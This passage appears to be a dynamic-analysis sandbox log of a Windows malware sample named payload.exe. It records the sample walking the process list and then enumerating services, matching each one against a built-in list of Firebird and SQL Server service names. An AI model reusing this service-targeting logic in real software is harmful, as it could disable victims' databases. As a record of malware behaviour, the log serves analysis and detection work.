th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0066.302] lstrlenW (lpString="taskhostw.exe") returned 13 [0066.302] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0066.303] lstrlenW (lpString="UsoClient.exe") returned 13 [0066.303] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0066.303] lstrlenW (lpString="taskhostw.exe") returned 13 [0066.303] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0066.304] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0066.304] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0066.305] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0066.305] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0066.305] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0066.307] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaverfireplacesubdivision.exe")) returned 1 [0066.307] lstrlenW (lpString="screensaverfireplacesubdivision.exe") returned 35 [0066.307] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arcobviously.exe")) returned 1 [0066.308] lstrlenW (lpString="arcobviously.exe") returned 16 [0066.308] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="preston disciplines.exe")) returned 1 [0066.309] lstrlenW (lpString="preston disciplines.exe") returned 23 [0066.309] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss.exe")) returned 1 [0066.309] lstrlenW (lpString="boss.exe") returned 8 [0066.309] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsimember.exe")) returned 1 [0066.310] lstrlenW (lpString="organizingscsimember.exe") returned 24 [0066.310] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing.exe")) returned 1 [0066.311] lstrlenW (lpString="placing.exe") returned 11 [0066.311] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes.exe")) returned 1 [0066.359] lstrlenW (lpString="heroes.exe") returned 10 [0066.359] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understoodaffectingbuddy.exe")) returned 1 [0066.360] lstrlenW (lpString="understoodaffectingbuddy.exe") returned 28 [0066.360] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement moments.exe")) returned 1 [0066.360] lstrlenW (lpString="requirement moments.exe") returned 23 [0066.360] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sugar.exe")) returned 1 [0066.361] lstrlenW (lpString="sugar.exe") returned 9 [0066.361] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademexicanvolkswagen.exe")) returned 1 [0066.362] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0066.362] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charity aging tracked.exe")) returned 1 [0066.362] lstrlenW (lpString="charity aging tracked.exe") returned 25 [0066.363] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="genealogy.exe")) returned 1 [0066.363] lstrlenW (lpString="genealogy.exe") returned 13 [0066.363] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers_indication_wage.exe")) returned 1 [0066.364] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0066.364] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine-keyboard.exe")) returned 1 [0066.365] lstrlenW (lpString="determine-keyboard.exe") returned 22 [0066.365] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure.exe")) returned 1 [0066.366] lstrlenW (lpString="expenditure.exe") returned 15 [0066.366] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="patents-compiler-transportation.exe")) returned 1 [0066.366] lstrlenW (lpString="patents-compiler-transportation.exe") returned 35 [0066.367] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0066.367] lstrlenW (lpString="upgrading.exe") returned 13 [0066.367] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative.exe")) returned 1 [0066.368] lstrlenW (lpString="conservative.exe") returned 16 [0066.368] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="enrollment wrist tired.exe")) returned 1 [0066.369] lstrlenW (lpString="enrollment wrist tired.exe") returned 26 [0066.369] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="partybloodpopularity.exe")) returned 1 [0066.370] lstrlenW (lpString="partybloodpopularity.exe") returned 24 [0066.370] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="labor-perhaps-sentences.exe")) returned 1 [0066.370] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0066.371] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gods violations duke.exe")) returned 1 [0066.371] lstrlenW (lpString="gods violations duke.exe") returned 24 [0066.371] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0066.372] lstrlenW (lpString="dllhost.exe") returned 11 [0066.377] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0066.378] lstrlenW (lpString="conhost.exe") returned 11 [0066.378] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfcc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0066.379] lstrlenW (lpString="conhost.exe") returned 11 [0066.379] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0066.380] lstrlenW (lpString="payload.exe") returned 11 [0066.380] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0066.381] lstrlenW (lpString="cmd.exe") returned 7 [0066.381] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0066.382] lstrlenW (lpString="conhost.exe") returned 11 [0066.382] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0066.383] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0066.383] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf08, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0066.383] lstrlenW (lpString="conhost.exe") returned 11 [0066.383] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.384] lstrlenW (lpString="svchost.exe") returned 11 [0066.384] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0066.385] lstrlenW (lpString="mode.com") returned 8 [0066.385] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0066.386] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0066.386] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.386] lstrlenW (lpString="svchost.exe") returned 11 [0066.386] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0066.387] CloseHandle (hObject=0x368) returned 1 [0066.387] Sleep (dwMilliseconds=0x1f4) [0066.894] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ced90 [0066.895] EnumServicesStatusExW (in: hSCManager=0x6ced90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0 [0066.895] GetLastError () returned 0xea [0066.896] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1ddc) returned 0x3d01278 [0066.896] EnumServicesStatusExW (in: hSCManager=0x6ced90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3d01278, cbBufSize=0x1ddc, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3d01278, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1 [0066.896] CloseServiceHandle (hSCObject=0x6ced90) returned 1 [0066.897] lstrlenW (lpString="Appinfo") returned 7 [0066.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0066.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0066.897] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0066.897] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0066.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0066.897] lstrlenW (lpString="AppXSvc") returned 7 [0066.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0066.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0066.897] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0066.897] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0066.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0066.897] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0066.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0066.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0066.897] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0066.897] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0066.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0066.897] lstrlenW (lpString="Audiosrv") returned 8 [0066.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0066.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0066.897] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0066.897] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0066.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0066.897] lstrlenW (lpString="BFE") returned 3 [0066.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0066.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0066.897] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0066.897] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0066.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0066.897] lstrlenW (lpString="BITS") returned 4 [0066.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0066.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0066.898] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0066.898] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0066.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0066.898] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0066.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0066.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0066.898] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0066.898] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0066.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0066.898] lstrlenW (lpString="CDPSvc") returned 6 [0066.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0066.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0066.898] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0066.898] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0066.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0066.898] lstrlenW (lpString="ClickToRunSvc") returned 13 [0066.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0066.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0066.898] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0066.898] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0066.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0066.898] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0066.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0066.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0066.898] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0066.898] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0066.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0066.898] lstrlenW (lpString="CryptSvc") returned 8 [0066.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0066.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0066.898] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0066.898] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0066.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0066.899] lstrlenW (lpString="DcomLaunch") returned 10 [0066.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0066.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0066.899] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0066.899] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0066.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0066.899] lstrlenW (lpString="DeviceAssociationService") returned 24 [0066.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0066.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0066.899] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0066.899] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0066.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0066.899] lstrlenW (lpString="Dhcp") returned 4 [0066.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0066.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0066.899] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0066.899] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0066.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0066.899] lstrlenW (lpString="Dnscache") returned 8 [0066.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0066.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0066.899] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0066.899] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0066.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0066.899] lstrlenW (lpString="DoSvc") returned 5 [0066.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0066.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0066.899] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0066.899] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0066.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0066.899] lstrlenW (lpString="DPS") returned 3 [0066.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0066.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0066.899] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0066.900] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0066.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0066.900] lstrlenW (lpString="DusmSvc") returned 7 [0066.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0066.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0066.900] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0066.900] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0066.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0066.900] lstrlenW (lpString="EventLog") returned 8 [0066.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0066.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0066.900] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0066.900] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0066.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0066.900] lstrlenW (lpString="EventSystem") returned 11 [0066.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0066.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0066.900] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0066.900] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0066.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0066.900] lstrlenW (lpString="FontCache") returned 9 [0066.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0066.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0066.900] 